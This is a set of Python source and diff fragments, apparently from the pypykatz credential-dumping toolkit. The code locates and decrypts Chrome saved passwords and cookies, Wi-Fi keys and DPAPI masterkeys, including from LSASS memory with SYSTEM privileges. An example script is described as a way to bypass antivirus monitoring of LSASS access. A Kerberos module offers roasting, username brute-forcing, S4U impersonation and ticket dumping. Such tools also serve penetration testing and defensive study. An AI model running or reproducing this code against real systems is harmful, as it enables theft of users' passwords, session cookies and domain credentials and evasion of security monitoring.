566 | for filename in glob.glob(os.path.join(users_path, '*'), recursive=False): | |
567 | if os.path.isdir(filename): | |
568 | user_folders[filename] = 1 | |
569 | ||
570 | for subfolder in ['Local', 'Roaming', 'LocalLow']: | |
571 | for user_folder in user_folders: | |
572 | for filename in glob.glob(os.path.join(user_folder, "AppData", subfolder, "Microsoft", "Protect", '**'), recursive = True): | |
573 | if is_guid(filename) is True: | |
574 | masterkey_files[ntpath.basename(filename)] = filename | |
575 | logger.debug('GUID USER FILE: %s' % filename) | |
576 | ||
577 | return masterkey_files | |
578 | ||
579 | @staticmethod | |
580 | def get_users_dir_live(): | |
581 | username = os.environ.get('USERNAME') | |
582 | userprofile_loc = os.environ.get('USERPROFILE') | |
583 | username = os.environ.get('USERNAME') | |
584 | return userprofile_loc[:-len(username)] | |
585 | ||
586 | @staticmethod | |
587 | def get_windows_dir_live(): | |
588 | return os.environ.get('SystemRoot') | |
589 | ||
590 | @staticmethod | |
591 | def get_windows_drive_live(): | |
592 | return os.environ.get('SystemDrive')[0] | |
593 | ||
594 | @staticmethod | |
595 | def find_chrome_database_file_live(): | |
596 | return DPAPI.find_chrome_database_file_offline(DPAPI.get_users_dir_live()) | |
597 | ||
598 | @staticmethod | |
599 | def find_chrome_database_file_offline(users_path): | |
600 | db_paths = {} # username -> files | |
601 | user_folders = {} # username -> folder | |
602 | ||
603 | for filename in glob.glob(os.path.join(users_path, '*'), recursive=False): | |
604 | if os.path.isdir(filename): | |
605 | username = ntpath.basename(filename) | |
606 | if username not in user_folders: | |
607 | user_folders[username] = [] | |
608 | user_folders[username].append(filename) | |
609 | ||
610 | for subfolder_1 in ['Local', 'Roaming', 'LocalLow']: | |
611 | for subfolder_2 in ['', 'Google']: | |
612 | for username in user_folders: | |
613 | if username not in db_paths: | |
614 | db_paths[username] = {} | |
615 | for user_folder in user_folders[username]: | |
616 | db_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Login Data' ) | |
617 | if os.path.isfile(db_path) is True: | |
618 | db_paths[username]['logindata'] = db_path | |
619 | logger.debug('CHROME LOGINS DB FILE: %s' % db_path) | |
620 | ||
621 | db_cookies_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data','Default','Cookies' ) | |
622 | if os.path.isfile(db_cookies_path) is True: | |
623 | db_paths[username]['cookies'] = db_cookies_path | |
624 | logger.debug('CHROME COOKIES DB FILE: %s' % db_cookies_path) | |
625 | ||
626 | localstate_path = os.path.join(user_folder, 'AppData', subfolder_1, subfolder_2, 'Chrome','User Data', 'Local State' ) | |
627 | if os.path.isfile(localstate_path) is True: | |
628 | db_paths[username]['localstate'] = localstate_path | |
629 | logger.debug('CHROME localstate FILE: %s' % localstate_path) | |
630 | ||
631 | return db_paths | |
632 | ||
633 | @staticmethod | |
634 | def get_chrome_encrypted_secret(db_path): | |
635 | results = {} | |
636 | results['logins'] = [] | |
637 | results['cookies'] = [] | |
638 | results['localstate'] = [] | |
639 | ||
640 | try: | |
641 | conn = sqlite3.connect(db_path) | |
642 | cursor = conn.cursor() | |
643 | except Exception as e: | |
644 | logger.debug('Failed to open chrome DB file %s' % db_path) | |
645 | return results | |
646 | ||
647 | if ntpath.basename(db_path).lower() == 'cookies': | |
648 | try: | |
649 | #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py | |
650 | cursor.execute('SELECT host_key, name, path, encrypted_value FROM cookies') | |
651 | except Exception as e: | |
652 | logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e)) | |
653 | return results | |
654 | ||
655 | for host_key, name, path, encrypted_value in cursor.fetchall(): | |
656 | results['cookies'].append((host_key, name, path, encrypted_value)) | |
657 | ||
658 | elif ntpath.basename(db_path).lower() == 'login data': | |
659 | ||
660 | try: | |
661 | #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py | |
662 | cursor.execute('SELECT action_url, username_value, password_value FROM logins') | |
663 | except Exception as e: | |
664 | logger.debug('Failed perform query on chrome DB file %s Reason: %s' % (db_path, e)) | |
665 | return results | |
666 | ||
667 | for url, user, enc_pw in cursor.fetchall(): | |
668 | results['logins'].append((url, user, enc_pw)) | |
669 | ||
670 | return results | |
671 | ||
672 | def decrypt_all_chrome_live(self): | |
673 | results = {} | |
674 | results['logins'] = [] | |
675 | results['cookies'] = [] | |
676 | localstate_dec = None | |
677 | ||
678 | dbpaths = DPAPI.find_chrome_database_file_live() | |
679 | for username in dbpaths: | |
680 | if 'localstate' in dbpaths[username]: | |
681 | with open(dbpaths[username]['localstate'], 'r') as f: | |
682 | encrypted_key = json.load(f)['os_crypt']['encrypted_key'] | |
683 | encrypted_key = base64.b64decode(encrypted_key) | |
684 | ||
685 | localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:]) | |
686 | ||
687 | if 'cookies' in dbpaths[username]: | |
688 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies']) | |
689 | for host_key, name, path, encrypted_value in secrets['cookies']: | |
690 | if encrypted_value.startswith(b'v10'): | |
691 | nonce = encrypted_value[3:3+12] | |
692 | ciphertext = encrypted_value[3+12:-16] | |
693 | tag = encrypted_value[-16:] | |
694 | cipher = AES_GCM(localstate_dec) | |
695 | dec_val = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'') | |
696 | results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val )) | |
697 | else: | |
698 | dec_val = self.decrypt_blob_bytes(encrypted_value) | |
699 | results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val )) | |
700 | ||
701 | if 'logindata' in dbpaths[username]: | |
702 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata']) | |
703 | for url, user, enc_password in secrets['logins']: | |
704 | password = self.decrypt_blob_bytes(enc_password) | |
705 | results['logins'].append((dbpaths[username]['logindata'], url, user, password )) | |
706 | ||
707 | ||
708 | return results | |
709 | ||
710 | def get_all_masterkeys_live(self): | |
711 | try: | |
712 | self.get_all_keys_from_lsass_live() | |
713 | except: | |
714 | logger.debug('Failed to get masterkeys/prekeys from LSASS!') | |
715 | ||
716 | try: | |
717 | self.get_prekeys_form_registry_live() | |
718 | except Exception as e: | |
719 | logger.debug('Failed to get masterkeys/prekeys from registry!') | |
720 | ||
721 | mkfiles = DPAPI.find_masterkey_files_live() | |
722 | for guid in mkfiles: | |
723 | logger.debug('Decrypting masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) | |
724 | mk, bk = self.decrypt_masterkey_file(mkfiles[guid]) | |
725 | if len(mk) > 0 or len(bk) > 0: | |
726 | logger.debug('Decrypted masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) | |
727 | else: | |
728 | logger.debug('Failed to decrypt masterkeyfile with guid: %s location: %s' % (guid, mkfiles[guid])) | |
729 | ||
730 | return self.masterkeys, self.backupkeys | |
731 | ||
732 | @staticmethod | |
733 | def parse_wifi_config_file(filepath): | |
734 | wifi = {} | |
735 | tree = ET.parse(filepath) | |
736 | root = tree.getroot() | |
737 | ||
738 | for child in root: | |
739 | if child.tag.endswith('}name'): | |
740 | wifi['name'] = child.text | |
741 | elif child.tag.endswith('}MSM'): | |
742 | for pc in child.iter(): | |
743 | if pc.tag.endswith('}keyMaterial'): | |
744 | wifi['enckey'] = pc.text | |
745 | return wifi | |
746 | ||
747 | @staticmethod | |
748 | def get_all_wifi_settings_offline(system_drive_letter): | |
749 | wifis = [] | |
750 | for filename in glob.glob(system_drive_letter+':\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\**', recursive=True): | |
751 | if filename.endswith('.xml'): | |
752 | wifi = DPAPI.parse_wifi_config_file(filename) | |
753 | wifis.append(wifi) | |
754 | return wifis | |
755 | ||
756 | @staticmethod | |
757 | def get_all_wifi_settings_live(): | |
758 | return DPAPI.get_all_wifi_settings_offline(DPAPI.get_windows_drive_live()) | |
759 | ||
760 | def decrypt_wifi_live(self): | |
761 | # key is encrypted as system!!! | |
762 | pm = ProcessManipulator() | |
763 | try: | |
764 | try: | |
765 | pm.getsystem() | |
766 | except Exception as e: | |
767 | raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e) | |
768 | ||
769 | for wificonfig in DPAPI.get_all_wifi_settings_live(): | |
770 | if 'enckey' in wificonfig and wificonfig['enckey'] != '': | |
771 | wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey']) | |
772 | yield wificonfig | |
773 | ||
774 | finally: | |
775 | pm.dropsystem() | |
776 | ||
777 | # arpparse helper | |
778 | def prepare_dpapi_live(methods = [], mkf = None, pkf = None): | |
779 | dpapi = DPAPI() | |
780 | ||
781 | if mkf is not None: | |
782 | dpapi.load_masterkeys(mkf) | |
783 | if pkf is not None: | |
784 | dpapi.load_prekeys(mkf) | |
785 | ||
786 | if 'all' in methods: | |
787 | dpapi.get_all_masterkeys_live() | |
788 | if 'registry' in methods and 'all' not in methods: | |
789 | dpapi.get_prekeys_form_registry_live() | |
790 | if 'lsass' in methods and 'all' not in methods: | |
791 | dpapi.get_masterkeys_from_lsass_live() | |
792 | ||
793 | return dpapi⏎ |
0 | from ctypes import byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError | |
1 | ||
2 | LPWSTR = c_wchar_p | |
3 | LPVOID = c_void_p | |
4 | PVOID = LPVOID | |
5 | PPVOID = POINTER(PVOID) | |
6 | DWORD = c_uint32 | |
7 | ||
8 | def RaiseIfZero(result, func = None, arguments = ()): | |
9 | """ | |
10 | Error checking for most Win32 API calls. | |
11 | ||
12 | The function is assumed to return an integer, which is C{0} on error. | |
13 | In that case the C{WindowsError} exception is raised. | |
14 | """ | |
15 | if not result: | |
16 | raise WinError() | |
17 | return result | |
18 | ||
19 | class DATA_BLOB(Structure): | |
20 | _fields_ = [ | |
21 | ('cbData', DWORD), | |
22 | ('pbData', POINTER(c_char)) | |
23 | ] | |
24 | PDATA_BLOB = POINTER(DATA_BLOB) | |
25 | ||
26 | # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata | |
27 | def CryptUnprotectData(enc_blob, entropy = None, to_prompt = False): | |
28 | _CryptUnprotectData = windll.crypt32.CryptUnprotectData | |
29 | _CryptUnprotectData.argtypes = [PDATA_BLOB, LPWSTR, PDATA_BLOB, PVOID, DWORD, DWORD, PDATA_BLOB] | |
30 | _CryptUnprotectData.restype = bool | |
31 | _CryptUnprotectData.errcheck = RaiseIfZero | |
32 | ||
33 | buffer_in = c_buffer(enc_blob, len(enc_blob)) | |
34 | blob_in = DATA_BLOB(len(enc_blob), buffer_in) | |
35 | blob_out = DATA_BLOB() | |
36 | ||
37 | if entropy is not None: | |
38 | buffer_entropy = c_buffer(entropy, len(entropy)) | |
39 | blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) | |
40 | _CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0, byref(blob_out)) | |
41 | else: | |
42 | _CryptUnprotectData(byref(blob_in), None, None, None, 0, 0, byref(blob_out)) | |
43 | ||
44 | dec_data = string_at(blob_out.pbData, blob_out.cbData) | |
45 | return dec_data | |
46 | ||
47 | if __name__ == '__main__': | |
48 | enc_data = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f3d1f4bf6f35b469eb9719205c9c1160000000002000000000003660000c000000010000000ef8ad11a2c0a0fa867c4bc8ea535c3b10000000004800000a000000010000000beb718a641f76dff7fb9f6edb0da69061800000068cdb387e412d6e097cd7db04af8638247b9b4987cd5048714000000bb10d25466234b082ac4052360ed3d57e8951367') | |
49 | dec_data = CryptUnprotectData(enc_data) | |
50 | print(dec_data)⏎ |
182 | 182 | self.guid3 = None |
183 | 183 | self.key_size = None |
184 | 184 | self.blob = None #encrypted VAULT_VPOL_KEYS |
185 | self.blobdata = None #encrypted VAULT_VPOL_KEYS | |
185 | 186 | |
186 | 187 | @staticmethod |
187 | 188 | def from_bytes(data): |
199 | 200 | sk.guid2 = GUID(buff).value |
200 | 201 | sk.guid3 = GUID(buff).value |
201 | 202 | sk.key_size = int.from_bytes(buff.read(4), 'little', signed = False) |
202 | sk.blob = DPAPI_BLOB.from_bytes(buff.read(sk.key_size)) | |
203 | sk.blobdata = buff.read(sk.key_size) | |
204 | sk.blob = DPAPI_BLOB.from_bytes(sk.blobdata) | |
203 | 205 | |
204 | 206 | return sk |
205 | 207 |
0 | ||
1 | # | |
2 | # In case you happen to have a DLL that has an export which returns a handle to LSASS process | |
3 | # You can use this example to load such DLL via ctypes and call pypykatz using said handle | |
4 | # Might be interesting to bypass AV monitoring openprocess on LSASS | |
5 | # | |
6 | ||
7 | from ctypes import windll, c_void_p | |
8 | from pypykatz.pypykatz import pypykatz | |
9 | ||
10 | dll_path = '' | |
11 | ||
12 | def get_lsass_handle(): | |
13 | your_dll = windll.LoadLibrary(dll_path) | |
14 | _your_function = your_dll.your_function | |
15 | _your_function.argtypes = [] #I guess no args | |
16 | _your_function.restype = c_void_p #this is basically a handle | |
17 | ||
18 | phandle = _your_function() | |
19 | ||
20 | return phandle | |
21 | ||
22 | ||
23 | phandle = get_lsass_handle() | |
24 | res = pypykatz.go_live_phandle(phandle) | |
25 | print(str(res)) |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | from pypykatz import logging | |
6 | import base64 | |
7 | import platform | |
8 | import argparse | |
9 | import asyncio | |
10 | from pypykatz import logger | |
11 | import traceback | |
12 | ||
13 | from minikerberos.common.utils import print_table | |
14 | from pypykatz.commons.filetime import filetime_to_dt | |
15 | from pypykatz.commons.common import geterr | |
16 | from pypykatz.kerberos.kerberos import get_TGS, get_TGT, generate_targets, \ | |
17 | brute, asreproast, spnroast, s4u, process_keytab, list_ccache, \ | |
18 | del_ccache, roast_ccache, ccache_to_kirbi, kirbi_to_ccache | |
19 | ||
20 | from pypykatz.kerberos.kirbiutils import parse_kirbi, format_kirbi, print_kirbi | |
7 | 21 | |
8 | 22 | """ |
9 | 23 | Kerberos is not part of pypykatz directly. |
10 | This is a wrapper for minikerberos and winsspi packages | |
24 | This is a wrapper for minikerberos | |
11 | 25 | """ |
12 | 26 | |
13 | 27 | class KerberosCMDHelper: |
14 | 28 | def __init__(self): |
15 | 29 | self.live_keywords = ['kerberos'] |
16 | self.keywords = [] | |
17 | ||
30 | self.keywords = ['kerberos'] | |
31 | ||
32 | @staticmethod | |
33 | def luid_converter(luid): | |
34 | if luid.startswith('0x') is True: | |
35 | luid = int(luid, 16) | |
36 | return int(luid) | |
37 | ||
18 | 38 | def add_args(self, parser, live_parser): |
19 | live_group = live_parser.add_parser('kerberos', help='Kerberos (live) related commands') | |
20 | live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)') | |
21 | live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.') | |
22 | live_group.add_argument('cmd', choices=['spnroast', 'asreproast']) | |
23 | live_group.add_argument('-o','--out-file', help= 'File to stroe results in') | |
24 | live_group.add_argument('-t','--target-file', help= 'List of target users to roast. One user per line. Format: asreproast->username spnroast->domain/username') | |
25 | live_group.add_argument('-u','--target-user', action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.') | |
26 | live_group.add_argument('-r','--realm', help= 'Kerberos Realm.') | |
27 | ||
39 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
40 | live_kerberos_subparsers = live_subcommand_parser.add_subparsers(help = 'live_kerberos_module') | |
41 | live_kerberos_subparsers.required = True | |
42 | live_kerberos_subparsers.dest = 'live_kerberos_module' | |
43 | ||
44 | live_luid_parser = live_kerberos_subparsers.add_parser('currentluid', help = 'Prints out the LUID of the current user') | |
45 | ||
46 | live_roast_parser = live_kerberos_subparsers.add_parser('roast', help = 'Automatically run spnroast and asreproast') | |
47 | live_roast_parser.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in') | |
48 | ||
49 | live_tgs_parser = live_kerberos_subparsers.add_parser('tgt', help = 'Request a TGT ticket. It may work better specifying the target as cifs/<domain.corp>') | |
50 | live_tgs_parser.add_argument('--target', help='SPN string of the service to request the ticket for') | |
51 | live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name') | |
52 | ||
53 | live_tgs_parser = live_kerberos_subparsers.add_parser('apreq', help = 'Request a APREQ ticket for a given service') | |
54 | live_tgs_parser.add_argument('target', help='SPN string of the service to request the ticket for') | |
55 | live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name') | |
56 | ||
57 | live_purge_parser = live_kerberos_subparsers.add_parser('purge', help = 'Purge all tickets. For the current user use --luid 0') | |
58 | live_purge_parser.add_argument('--luid', help='LUID of the user whose tickets to be purged. Use "0x" if you specify a hex value!') | |
59 | ||
60 | live_sessions_parser = live_kerberos_subparsers.add_parser('sessions', help = 'List user sessions. Needs elevated privileges.') | |
61 | ||
62 | live_export_parser = live_kerberos_subparsers.add_parser('dump', help = 'Fetches tickets for a given session or all sessions from memory and prints or exports them as .kirbi files') | |
63 | live_export_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!') | |
64 | live_export_parser.add_argument('-o', '--outdir', help='path to kirbi directory') | |
65 | ||
66 | live_triage_parser = live_kerberos_subparsers.add_parser('triage', help = 'List tickets for a given session or all sessions') | |
67 | live_triage_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!') | |
68 | ||
69 | live_parser.add_parser('kerberos', help = 'Kerberos related commands', parents=[live_subcommand_parser]) | |
70 | ||
71 | #offline part | |
72 | #ccache part | |
73 | ccache_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
74 | kerberos_ccache_subparsers = ccache_subcommand_parser.add_subparsers(help = 'ccache_command') | |
75 | kerberos_ccache_subparsers.required = True | |
76 | kerberos_ccache_subparsers.dest = 'ccache_module' | |
77 | ||
78 | ccache_list = kerberos_ccache_subparsers.add_parser('list', help = 'List ccache file contents') | |
79 | ccache_list.add_argument('ccachefile', help='path to CCACHE file') | |
80 | ||
81 | ccache_del = kerberos_ccache_subparsers.add_parser('del', help = 'Delete tickets from ccache file based on their order. To get the order user the list command.') | |
82 | ccache_del.add_argument('ccachefile', help='path to CCACHE file') | |
83 | ccache_del.add_argument('index', type=int, help='ticket index to delete') | |
84 | ||
85 | ccache_roast = kerberos_ccache_subparsers.add_parser('roast', help = 'Convert stored tickets to hashcat crackable format') | |
86 | ccache_roast.add_argument('ccachefile', help='path to CCACHE file') | |
87 | ccache_roast.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in') | |
88 | ||
89 | ccache_kirbi = kerberos_ccache_subparsers.add_parser('loadkirbi', help = 'Add kirbi file to ccache file.') | |
90 | ccache_kirbi.add_argument('ccachefile', help='path to CCACHE file') | |
91 | ccache_kirbi.add_argument('kirbifile', help='path to kirbi file / directory') | |
92 | ||
93 | ccache_kirbi = kerberos_ccache_subparsers.add_parser('exportkirbi', help = 'Export tickets to kirbi files. One ticket per file.') | |
94 | ccache_kirbi.add_argument('ccachefile',help='path to CCACHE file') | |
95 | ccache_kirbi.add_argument('kirbidir', help='path to kirbi directory ') | |
96 | ||
97 | ||
98 | #kirbi | |
99 | kirbi_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
100 | kerberos_kirbi_subparsers = kirbi_subcommand_parser.add_subparsers(help = 'kirbi_command') | |
101 | kerberos_kirbi_subparsers.required = True | |
102 | kerberos_kirbi_subparsers.dest = 'kirbi_module' | |
103 | ||
104 | kirbi_list = kerberos_kirbi_subparsers.add_parser('parse', help = 'Parse kirbi file and show the ticket') | |
105 | kirbi_list.add_argument('kirbifile', help='path to kirbi file') | |
106 | ||
107 | ||
108 | kerberos_group = parser.add_parser('kerberos', help='Kerberos related commands') | |
109 | kerberos_subparsers = kerberos_group.add_subparsers() | |
110 | kerberos_subparsers.required = True | |
111 | kerberos_subparsers.dest = 'kerberos_module' | |
112 | ||
113 | tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user') | |
114 | tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:[email protected]"') | |
115 | tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') | |
116 | ||
117 | tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user') | |
118 | tgs_parser.add_argument('url', help='user credentials in URL format') | |
119 | tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for') | |
120 | tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') | |
121 | ||
122 | brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames') | |
123 | brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') | |
124 | brute_parser.add_argument('-o','--out-file', help='Output file to store the found usernames.') | |
125 | brute_parser.add_argument('-n','--show-negatives', action='store_true', help='Print failed enumerations') | |
126 | brute_parser.add_argument('address', help='Kerberos server IP/hostname') | |
127 | brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
128 | ||
129 | asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast') | |
130 | asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') | |
131 | asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') | |
132 | asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') | |
133 | asreproast_parser.add_argument('address', help='Kerberos server IP/hostname') | |
134 | asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
135 | ||
136 | spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast') | |
137 | spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') | |
138 | spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') | |
139 | spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') | |
140 | spnroast_parser.add_argument('url', help='user credentials in URL format') | |
141 | spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') | |
142 | ||
143 | s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user') | |
144 | s4u_parser.add_argument('url', help='user credentials in URL format') | |
145 | s4u_parser.add_argument('spn', help='SPN string of the service to request the ticket for') | |
146 | s4u_parser.add_argument('targetuser', help='') | |
147 | s4u_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') | |
148 | ||
149 | keytab_parser = kerberos_subparsers.add_parser('keytab', help = 'Parse keytab file, list secret key(s)') | |
150 | keytab_parser.add_argument('keytabfile', help='user credentials in URL format') | |
151 | ||
152 | ccache_parser = kerberos_subparsers.add_parser('ccache', help = 'Parse/Edit ccache file', parents=[ccache_subcommand_parser]) | |
153 | kirbi_parser = kerberos_subparsers.add_parser('kirbi', help = 'Parse/Edit kirbi file', parents=[kirbi_subcommand_parser]) | |
28 | 154 | |
29 | 155 | def execute(self, args): |
30 | 156 | if len(self.keywords) > 0 and args.command in self.keywords: |
35 | 161 | |
36 | 162 | |
37 | 163 | def run_live(self, args): |
38 | from winsspi.sspi import KerberoastSSPI | |
39 | from minikerberos.security import TGSTicket2hashcat, APREPRoast | |
40 | from minikerberos.utils import TGTTicket2hashcat | |
41 | from minikerberos.communication import KerberosSocket | |
42 | from minikerberos.common import KerberosTarget | |
43 | from pypykatz.commons.winapi.machine import LiveMachine | |
44 | ||
45 | if not args.target_file and not args.target_user: | |
46 | raise Exception('No targets loaded! Either -u or -t MUST be specified!') | |
47 | ||
48 | machine = LiveMachine() | |
49 | ||
50 | realm = args.realm | |
51 | if not args.realm: | |
52 | realm = machine.get_domain() | |
53 | ||
54 | if args.cmd in ['spnroast','asreproast']: | |
55 | targets = [] | |
56 | if args.target_file: | |
57 | with open(args.target_file, 'r') as f: | |
58 | for line in f: | |
59 | line = line.strip() | |
60 | domain = None | |
61 | username = None | |
62 | if line.find('/') != -1: | |
63 | #we take for granted that usernames do not have the char / in them! | |
64 | domain, username = line.split('/') | |
65 | else: | |
66 | username = line | |
67 | ||
68 | if args.realm: | |
69 | domain = args.realm | |
70 | else: | |
71 | if domain is None: | |
72 | raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file') | |
73 | ||
74 | target = KerberosTarget() | |
75 | target.username = username | |
76 | target.domain = domain | |
77 | targets.append(target) | |
78 | ||
79 | if args.target_user: | |
80 | for user in args.target_user: | |
81 | domain = None | |
82 | username = None | |
83 | if user.find('/') != -1: | |
84 | #we take for granted that usernames do not have the char / in them! | |
85 | domain, username = user.split('/') | |
86 | else: | |
87 | username = user | |
88 | ||
89 | if args.realm: | |
90 | domain = args.realm | |
91 | else: | |
92 | if domain is None: | |
93 | raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file') | |
94 | target = KerberosTarget() | |
95 | target.username = username | |
96 | target.domain = domain | |
97 | targets.append(target) | |
98 | ||
99 | results = [] | |
100 | errors = [] | |
101 | if args.cmd == 'spnroast': | |
102 | for spn_name in targets: | |
103 | ksspi = KerberoastSSPI() | |
104 | try: | |
105 | ticket = ksspi.get_ticket_for_spn(spn_name.get_formatted_pname()) | |
106 | except Exception as e: | |
107 | errors.append((spn_name, e)) | |
164 | if platform.system() != 'Windows': | |
165 | print('[-]This command only works on Windows!') | |
166 | return | |
167 | ||
168 | from pypykatz.kerberos.kerberoslive import KerberosLive, live_roast # , purge, list_sessions #get_tgt, get_tgs | |
169 | kl = KerberosLive() | |
170 | ||
171 | if args.live_kerberos_module == 'roast': | |
172 | res, errors, err = asyncio.run(live_roast(args.out_file)) | |
173 | if err is not None: | |
174 | print('[LIVE][KERBEROS][ROAST] Error while roasting tickets! Reason: %s' % geterr(err)) | |
175 | return | |
176 | if args.out_file is None: | |
177 | for r in res: | |
178 | print(r) | |
179 | ||
180 | elif args.live_kerberos_module == 'tgt': | |
181 | ticket = kl.get_tgt(args.target) | |
182 | if args.out_file is None: | |
183 | print_kirbi(ticket) | |
184 | return | |
185 | ||
186 | with open(args.out_file, 'wb') as f: | |
187 | f.write(ticket) | |
188 | ||
189 | elif args.live_kerberos_module == 'apreq': | |
190 | apreq, sessionkey = kl.get_apreq(args.target) | |
191 | print('APREQ b64: ') | |
192 | print(format_kirbi(apreq.dump())) | |
193 | print('Sessionkey b64: %s' % base64.b64encode(sessionkey).decode()) | |
194 | ||
195 | ||
196 | elif args.live_kerberos_module == 'currentluid': | |
197 | print(hex(kl.get_current_luid())) | |
198 | ||
199 | elif args.live_kerberos_module == 'purge': | |
200 | luid = None | |
201 | if args.luid is not None: | |
202 | luid = args.luid | |
203 | if luid.startswith('0x') is True: | |
204 | luid = int(luid, 16) | |
205 | luid=int(luid) | |
206 | ||
207 | kl.purge(luid) | |
208 | print('Tickets purged!') | |
209 | ||
210 | elif args.live_kerberos_module == 'sessions': | |
211 | kl.list_sessions() | |
212 | ||
213 | elif args.live_kerberos_module == 'triage': | |
214 | if args.luid is None: | |
215 | ticketinfos = kl.get_all_ticketinfo() | |
216 | else: | |
217 | luid = KerberosCMDHelper.luid_converter(args.luid) | |
218 | ticketinfos = kl.get_ticketinfo(luid) | |
219 | ||
220 | table = [['LUID', 'ServerName', 'RealmName', 'StartTime', 'EndTime', 'RenewTime', 'EncryptionType', 'TicketFlags']] | |
221 | for luid in ticketinfos: | |
222 | if len(ticketinfos[luid]) == 0: | |
223 | continue | |
224 | ||
225 | for ticket in ticketinfos[luid]: | |
226 | table.append([ | |
227 | hex(luid), | |
228 | ticket['ServerName'], | |
229 | ticket['RealmName'], | |
230 | filetime_to_dt(ticket['StartTime']).isoformat(), | |
231 | filetime_to_dt(ticket['EndTime']).isoformat(), | |
232 | filetime_to_dt(ticket['RenewTime']).isoformat(), | |
233 | str(ticket['EncryptionType']), | |
234 | str(ticket['TicketFlags']) | |
235 | ]) | |
236 | ||
237 | print_table(table) | |
238 | ||
239 | ||
240 | elif args.live_kerberos_module == 'dump': | |
241 | if args.luid is None: | |
242 | tickets = kl.export_all_ticketdata() | |
243 | else: | |
244 | luid = KerberosCMDHelper.luid_converter(args.luid) | |
245 | tickets = kl.export_ticketdata(luid) | |
246 | ||
247 | if args.outdir is not None: | |
248 | for luid in tickets: | |
249 | for ticket in tickets[luid]: | |
250 | with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f: | |
251 | f.write(ticket['Ticket']) | |
252 | else: | |
253 | for luid in tickets: | |
254 | if len(tickets[luid]) == 0: | |
108 | 255 | continue |
109 | results.append(TGSTicket2hashcat(ticket)) | |
110 | ||
111 | elif args.cmd == 'asreproast': | |
112 | dcip = args.dc_ip | |
113 | if args.dc_ip is None: | |
114 | dcip = machine.get_domain() | |
115 | ks = KerberosSocket( dcip ) | |
116 | ar = APREPRoast(ks) | |
117 | results = ar.run(targets) | |
118 | ||
119 | ||
120 | if args.out_file: | |
121 | with open(args.out_file, 'w') as f: | |
122 | for thash in results: | |
123 | f.write(thash + '\r\n') | |
124 | ||
125 | else: | |
126 | for thash in results: | |
